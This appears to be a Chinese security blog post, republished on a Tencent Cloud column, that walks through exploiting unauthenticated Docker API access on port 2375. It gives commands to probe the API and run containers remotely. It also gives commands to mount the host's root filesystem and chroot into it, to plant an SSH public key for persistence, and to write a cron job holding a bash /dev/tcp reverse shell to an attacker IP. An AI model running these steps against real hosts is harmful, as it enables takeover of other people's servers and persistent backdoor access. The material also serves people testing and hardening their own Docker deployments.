前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Docker API未授权命令执行

Docker API未授权命令执行

作者头像
谢公子
发布2023-09-01 09:41:56
7150
发布2023-09-01 09:41:56
举报
文章被收录于专栏:谢公子学安全谢公子学安全

Docker Swarm是Docker的集群管理工具,它将Docker主机池转变为单个虚拟Docker主机,能够方便的进行docker集群的管理和扩展。Docker Swarm使用标准的Docker API通过2375端口来管理每个Docker节点,Docker API是一个取代远程命令行界面(RCLI)的REST API。当Docker节点的2375端口直接暴露并未做权限检查时,存在未授权访问漏洞,攻击者可以利用Docker API执行任何操作,包括执行Docker命令,创建、删除Docker以及获得宿主机权限等。

漏洞复现

访问目标的2375端口如下接口,若有信息,则存在Docker API未授权访问

代码语言:javascript
复制
http://x.x.x.x:2375/version
http://x.x.x.x:2375/images
http://x.x.x.x:2375/info

docker命令远程管理

可以使用docker命令本地远程管理docker,命令和在docker服务器管理一样。以下只列出部分命令。

代码语言:javascript
复制
docker -H tcp://10.211.55.18:2375 images -a
docker -H tcp://10.211.55.18:2375 ps
docker -H tcp://10.211.55.18:2375 exec -it e7d97caf249d /bin/bash

获取宿主机权限

但是以上方式都只是控制docker中的容器,我们如何控制docker的宿主机呢?

我们可以执行如下命令启动一个未开启的容器,然后将宿主机的磁盘挂载到容器中。

代码语言:javascript
复制
docker -H tcp://10.211.55.18:2375 run -it -v /:/opt b76f96a98a27 /bin/bash

如图可以看到已经可以管理宿主机的文件系统了。

chroot

使用chroot命令切换到挂载的目录,在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件。

代码语言:javascript
复制
chroot /opt bash#然后就可以执行如下一些命令,但是查看的ip和反弹shell等一些命令,还是容器内的historycat /etc/passwd

写入SSH公钥

执行如下命令将本地的authorized_keys文件上传到/opt/root/.ssh下。

代码语言:javascript
复制
docker -H tcp://10.211.55.18:2375 cp /Users/xie/Desktop/authorized_keys 4dcf21117fb2:/opt/root/.ssh

可以看到公钥文件已经写入。但是通过这种方式上传的authorized_keys文件权限不对可以看到其属主和属组不对。

这时可以执行如下命令修改authorized_keys文件的属主和属组为root,即可正常ssh免密登录。

代码语言:javascript
复制
chown root.root authorized_keys

或者可以直接通过echo命令写入公钥文件,这样就不会有权限问题。

计划任务反弹shell

如果目标宿主机的22端口没开的话,还可以通过定时任务来反弹shell到内网的机器。

执行如下命令,将反弹shell的命令写入/var/spool/cron/root文件中。

代码语言:javascript
复制
#切换到挂载的目录
cd /opt/var/spool/cron
#写入反弹shell的命令
echo "*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/10.211.55.2/4444 0>&1" > root

然后就可以收到shell了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-05-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档